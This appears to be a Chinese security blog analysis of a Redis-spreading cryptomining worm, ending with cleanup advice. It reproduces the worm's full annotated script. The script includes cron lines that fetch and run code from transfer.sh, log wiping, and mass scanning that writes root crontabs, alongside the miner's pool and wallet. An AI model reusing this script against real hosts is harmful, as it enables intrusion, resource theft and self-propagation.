Linux系统之Redis扩散病毒继续分析 – 作者:cgf99

*本文原创作者:cgf99,本文属FreeBuf原创奖励计划,未经许可禁止转载

我们安全团队前两次分析了redis病毒和etn挖矿病毒行为,请见“利用Redis未授权访问漏洞的挖矿病毒阴魂不散”“和“Linux系统ETN挖矿病毒实例分析”两篇文章

印象中,从2017年下半年开始,感觉挖矿事件层出不穷。只要有客户的网络系统发生异常报告,基本都是从CPU发生异常开始。现在只要听到客户报告其主机系统出现异常,我们的第一反应就是,是不是又是“挖矿”啊?还真的是,到了现场一看,确实,恭喜“亲”,你又成为辛勤奉献、任劳任怨的苦力小矿工了。

一、系统环境

操作系统:Ubuntu  

内核:Linux4.4.0-57-generic x86_64

该主机对外开放两个端口,分别是22端口(SSH-2.0-OpenSSH_7.2p2)、80端口(nginx/1.4.6)。经过分析,发现80端口的日志和目录、文件基本没有异常,22端口也没有其他异常情况。

二、病毒分析

通过本地分析,发现一堆由pnscan进程发出去的6379端口网络扫描行为,判断应该是针对redis的病毒扫描程序。

另外,还有两个名为gpg的进程占用很高的CPU,并且对外有网络链接。

此外,还发现该主机竟然开放redis服务,而且绑定地址已经修改为127.0.0.1:6379。哇,小伙伴安全意识蛮到位的嘛,竟然会加固redis安全了。可是通过和客户磋商,其确实有安装redis服务,可是上面并没有跑业务数据,而且只用于学习开发,也仅仅是默认安装,并没有做任何安全设置。

好吧,看来,初步判断应该是通过redis入侵主机系统。

于是登录 redis控制台,输入keys *命令(反正没有业务系统,呵呵,不怕数据多的让你挂掉),发现创建了三个Key,分别名为Backup1、Backup2和Backup3。

其内容分别如下:

Backup1: */2 * * * * curl -shttps://transfer.sh/GoZkF/tmp.DoRh9YAdFi > .cmd && bash .cmd

Backup2: */5 * * * * wget -O .cmd https://transfer.sh/GoZkF/tmp.DoRh9YAdFi&& bash .cmd

Backup3: */10 * * * * lynx -sourcehttps://transfer.sh/15TRyl/tmp.pCnR6is0Gm > .cmd && bash .cmd

确定了,就是通过redis未授权访问漏洞入侵的系统。接下来看看具体的恶意脚本和文档,看看攻击者到底想干嘛?

1、transfer.sh文件共享

刚开始还以为transfer.sh又是攻击者申请用来干坏事的域名。呵呵,大家别笑俺孤陋寡闻,以前真不知道,没有用过transfer.sh服务。

打开其主页,发现其竟然提供的是正常的服务,该网站提供黑屏下文件共享的方式(命令行式文件分享网),经过细看,哇塞,竟然在黑屏下提供了上传、下载文件的功能,用户可直接通过命令行工具把文件上传到该网站,网站生成该文件下载连接url,可供其他用户下载。其功能还蛮强大的,根据介绍,其特征包括:命令行下使用/url共享链接/上传最大10gb/文件保存14天/免费/加密/无限次数下载等,如上图所示。哇哇,这网站tmd真是无私奉献啊,令人肃然起敬。对用户来说,提供了多少便利。知道了此网站的存在和用法,也是本次病毒分析的一大收获了,呵呵。

话说回来,对该网站最爱的应该是黑客了吧,简单,还提供了免费的域名(中转站)。命令行下直接使用,无需验证,感觉这个网站的所有者是否就是黑客出身(妄测一下),太贴合需求了。

2、脚本分析

从上述Backup里面包含的URL分别下载了tmp.DoRh9YadFi(大小4,853)和tmp.pCnR6is0Gm(大小4,783)文件,发现两个文件只有极小的差异,完成的功能是一样的。

脚本很长,很多命令都要重新去查询,去学习。原来以前都看不清所谓的“脚本小子”,其实这些在LINUX下写脚本的人真的是太聪明了,很震撼。不过脚本太复杂了,有些地方考虑还是不周,不如权限的问题、下载的问题、还有pnscan病毒扫描程序的编译问题等,如果有任何一步出现问题,整个功能就大打折扣了。在实际测试中,我们发现关是利用yum/apt-get下载相应的库和包就需要漫长的时间,下载的东西太多了,作者想的真全面啊。

具体的内容和解释如下,如果有些解释不到位的地方望大家指正,#后面是自己加的注释。

#休眠一秒

sleep 1

#当前目录下查找60分钟之前修改过的名为.mxff0的普通文件,并删除

find . -maxdepth 1 -name".mxff0" -type f -mmin +60 -delete

[ -f .mxff0 ] && exit 0

#创建 .mxff0文件

echo 0 > .mxff0

#删除文件

trap "rm -rf .m* .cmd tmp.* .r .dat$0" EXIT

#临时关闭防火墙,关闭输出

setenforce 0 2>/dev/null

#关闭selinux

echo SELINUX=disabled >/etc/sysconfig/selinux 2>/dev/null

#清除当前cron定时任务

crontab -r 2>/dev/null

#删除/var/spool/cron

rm -rf /var/spool/cron 2>/dev/null

//设置dns解析为8.8.8.8

grep -q 8.8.8.8 /etc/resolv.conf || echo"nameserver 8.8.8.8" >> /etc/resolv.conf

#删除/tmp,/var/tmp下文件和/etc/root.sh

rm -rf /tmp/* 2>/dev/null

rm -rf /var/tmp/* 2>/dev/null

rm -rf /etc/root.sh 2>/dev/null

sync && echo 3 >/proc/sys/vm/drop_caches

#修改/etc/security/limits.conf文件,limits.conf文件限制着用户可以使用的最大文件数,最大线程,最大内存等资源使用量

cat <<EOF> /etc/security/limits.conf

*        hard    nofile      100000

*        soft    nofile      100000

root     hard    nofile      100000

root     soft    nofile      100000

*        hard    nproc       100000

*        soft    nproc       100000

root     hard    nproc       100000

root     soft    nproc       100000

EOF

#防火墙修改redis只让本机访问

iptables -I INPUT 1 -p tcp --dport 6379-j DROP

iptables -I INPUT 1 -p tcp --dport 6379-s 127.0.0.1 -j ACCEPT

#杀掉包含下列字符串的进程,好疯狂。

ps xf | grep -v grep | grep "redis-server\|nicehash\|linuxs\|linuxl\|crawler.weibo\|243/44444\|cryptonight\|stratum\|gpg-daemon\|jobs.flu.cc\|nmap\|cranberry\|start.sh\|watch.sh\|krun.sh\|killTop.sh\|cpuminer\|/60009\|ssh_deny.sh\|clean.sh\|\./over\|mrx1\|redisscan\|ebscan\|redis-cli\|barad_agent\|\.sr0\|clay\|udevs\|\.sshd\|/tmp/init"|    while read pid _; do kill -9 "$pid"; done

#又删除/tmp和/var/tmp下的文件

rm -rf /tmp/* 2>/dev/null

rm -rf /var/tmp/* 2>/dev/null

#清除登录日志、历史记录

echo 0 > /var/spool/mail/root

echo 0 > /var/log/wtmp

echo 0 > /var/log/secure

echo 0 > /root/.bash_history

#下载安装相应的库和软件包

YUM_PACKAGE_NAME="iptables gccredis coreutils bash curl wget"

DEB_PACKAGE_NAME="coreutils bashbuild-essential make gcc redis-server redis-tools redis iptables curl"

#如果是CentOS系统,用yum下载安装

if cat /etc/*release | grep -i CentOS;then

yum clean all

yum install -y -q epel-release

yum install -y -q $YUM_PACKAGE_NAME

#如果是Redhat系统,用yum下载安装

elif cat /etc/*release | grep -qi Red;then

yum clean all

yum install -y -q epel-release

yum install -y -q $YUM_PACKAGE_NAME

#如果是Fedora系统,用yum下载安装

elif cat /etc/*release | grep -qiFedora; then

yum clean all

yum install -y -q epel-release

yum install -y -q $YUM_PACKAGE_NAME

#如果是Ubuntu系统,用apt下载安装

elif cat /etc/*release | grep -qiUbuntu; then

export DEBIAN_FRONTEND=noninteractive

rm -rf /var/lib/apt/lists/*

apt-get update -q --fix-missing

for PACKAGE in $DEB_PACKAGE_NAME;doapt-get install -y -q $PACKAGE; done

#如果是Debian系统,用apt下载安装

elif cat /etc/*release | grep -qiDebian; then

export DEBIAN_FRONTEND=noninteractive

rm -rf /var/lib/apt/lists/*

apt-get update --fix-missing

for PACKAGE in $DEB_PACKAGE_NAME;doapt-get install -y -q $PACKAGE; done

#如果是Mint系统,用apt下载安装(Linux Mint由Linux MintTeam团队于2006年开始发行,是一份基于Debian和Ubuntu的Linux发行版)

elif cat /etc/*release | grep -qi Mint;then

export DEBIAN_FRONTEND=noninteractive

rm -rf /var/lib/apt/lists/*

apt-get update --fix-missing

for PACKAGE in $DEB_PACKAGE_NAME;doapt-get install -y -q $PACKAGE; done

#如果是Knoppix系统,用apt下载安装(KNOPPIX是一个linux发行版,基于debian,功能包括:自动硬件监测、支持常见的显卡、声卡、SCSI和USB设备,以及其它外设)

elif cat /etc/*release | grep -qiKnoppix; then

export DEBIAN_FRONTEND=noninteractive

rm -rf /var/lib/apt/lists/*

apt-get update --fix-missing

for PACKAGE in $DEB_PACKAGE_NAME;doapt-get install -y -q $PACKAGE; done

else

exit 1

fi

sleep 1

#如果本地不存在pnscan,则去下载

if ! ( [ -x /usr/local/bin/pnscan ] || [-x /usr/bin/pnscan ] ); then

curl -kLshttps://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q-O .x112 https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12

sleep 1

#解压、编译、安装pnscan

[ -f .x112 ] && tar xf .x112&& cd pnscan-1.12 && make lnx && make install&& cd .. && rm -rf pnscan-1.12 .x112

fi

tname=$( mktemp )

#从transfer.sh下载tmp.Woq2ONMx8z文件

OMURL=https://transfer.sh/lBphf/tmp.Woq2ONMx8z

curl -s $OMURL > $tname || wget -q -O$tname $OMURL

NMURL=$( curl -s --upload-file $tnamehttps://transfer.sh )

#文件改名、增加执行属性、运行后删除(进程为.gpg)

mv $tname .gpg && chmod +x .gpg&& ./.gpg && rm -rf .gpg

[ -z "$NMURL" ] &&NMURL=$OMURL

ncmd=$(basename $(mktemp))

sed 's|'"$OMURL"'|'"$NMURL"'|g'< .cmd > $ncmd

NSURL=$( curl -s --upload-file $ncmdhttps://transfer.sh )

#对redis进行操作,添加定时任务

echo 'flushall' > .dat

echo 'config set dir /var/spool/cron'>> .dat

echo 'config set dbfilename root'>> .dat

echo 'set Backup1 "\t\n*/2 * * * * curl-s '${NSURL}' > .cmd && bash .cmd\n\t"' >> .dat

echo 'set Backup2 "\t\n*/5 * * * *wget -O .cmd '${NSURL}' && bash .cmd\n\t"' >> .dat

echo 'set Backup3 "\t\n*/10 * * * *lynx -source '${NSURL}' > .cmd && bash .cmd\n\t"' >> .dat

echo 'save' >> .dat

echo 'config set dir/var/spool/cron/crontabs' >> .dat

echo 'save' >> .dat

echo 'exit' >> .dat

#利用pnscan进行病毒扩散

pnx=pnscan

[ -x /usr/local/bin/pnscan ] &&pnx=/usr/local/bin/pnscan

[ -x /usr/bin/pnscan ] &&pnx=/usr/bin/pnscan

#写入IP地址文件到.ran

for x in $( seq 1 224 | sort -R ); do

for y in $( seq 0 255 | sort -R ); do

printf '%s.%s.0.0/16\n' $x $y >>.ran

done

done

for ran in $( sort -R .ran ); do

#循环扫描 Redis服务器(目标针对linux)

#pnscan –t512 –R os:Linux –W ‘*1\r\n$4\r\ninfo\r\n’IP 6379

$pnx -t512 -R '6f 73 3a 4c 69 6e 75 78'-W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' "$ran" 6379 >.r.$x.$y.o

awk '/Linux/ {print $1, $3}' .r.$x.$y.o> .r.$x.$y.l

while read -r h p; do

#如果成果扫到redis服务器,就利用redis-cli客户端写入.dat内容完成病毒感染

cat .dat | redis-cli -h $h -p $p --raw&

done < .r.$x.$y.l

done

done

#再次清除日志记录、登录历史等

echo 0 > /var/spool/mail/root2>/dev/null

echo 0 > /var/log/wtmp 2>/dev/null

echo 0 > /var/log/secure2>/dev/null

echo 0 > /root/.bash_history2>/dev/null

exit 0

———————————————————————————————————————————————————————————————————————————

上述脚本中,刚开始有些地方还是没有弄清楚。

(1)比如作者会在目标机器中下载并安装redis,如果说安装redis客户端还情有可原,毕竟利用pnscan扫描程序的时候,如果有扫描到空口令的redis服务器,是利用redis-cli去连接并执行命令的。可是为什么每台主机还要安装redis-server呢?难道安装redis-cli必须安装server?

经过全程分析,最后明白了,作者是禁止了原主机的redis:0.0.0.0:6379端口访问,重新安装了一个redis服务并只绑定127.0.0.1:6379端口,从而防止被别的恶意软件再次侵袭。可是万一机器主人本来是用来可以内部局域网访问的咋整呢?唉。

3、进程.gpy分析

gpy进程发出的链接如下图所示: 

直接用编辑软件打开发现其是xmrig的挖矿软件(最简单的就是用文本编辑可以查找到xmrig字符串)。作者对xmrig代码进行了修改并重新编译。加参数—version运行,结果如下图所示:

加参数 –help命令执行。其界面如下图所示,是典型的xmrig挖矿的界面,只不过作者把文件名修改成了svshost。

实际运行的gyp进程没有带任何参数,而我们知道xmrig软件是带参数运行的(要么命令行直接加参数,或者命令行指定参数文件)。那么参数在哪呢?按常理,肯定是作者直接在程序里面写死了。

于是我们直接调用IDA对其进行反编译,找到作者的参数如下图所示(实际代码中,作者还是把字符串分成一个一个字符的形式):

 

其中,连接的矿池地址是:jb.chakpools.com:443

钱包地址为:

N9emUy6baNTbNwFzZmjzzg7bntSr6TFYRiJy6oXuosHhQZamMFZXzpYENJcdXvC5cwN8oqCrXJ4YYgWRgBNXZk6a33wT7os

占用CPU最大:50%(还蛮人性的,呵呵)

域名和IP查询

其中,jb.chakpools.com的IP地址是159.203.182.176,位于美国。

IP查询如下图所示:

域名信息查询如下如下图所示:

BS是巴哈马群岛。

猜测该矿池应该是个小矿池或者是一个矿池代理。由于chakpools.com不知道如何查询其挖矿情况,希望知道的朋友多指教。

三、应对措施

1、 重新安装redis(千万不要赋予root权限)服务,根据客户实际需要对特定IP开放端口(利用防火墙设置,尤其是必须对外(公网)提供服务的情况下),如果只是本机使用,绑定127.0.0.1:6379 ,增加认证口令。

2、 清除定时任务

3、 杀掉进程、删除实体

*本文原创作者:cgf99,本文属FreeBuf原创奖励计划,未经许可禁止转载

来源:freebuf.com 2018-05-23 09:00:57 by: cgf99

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论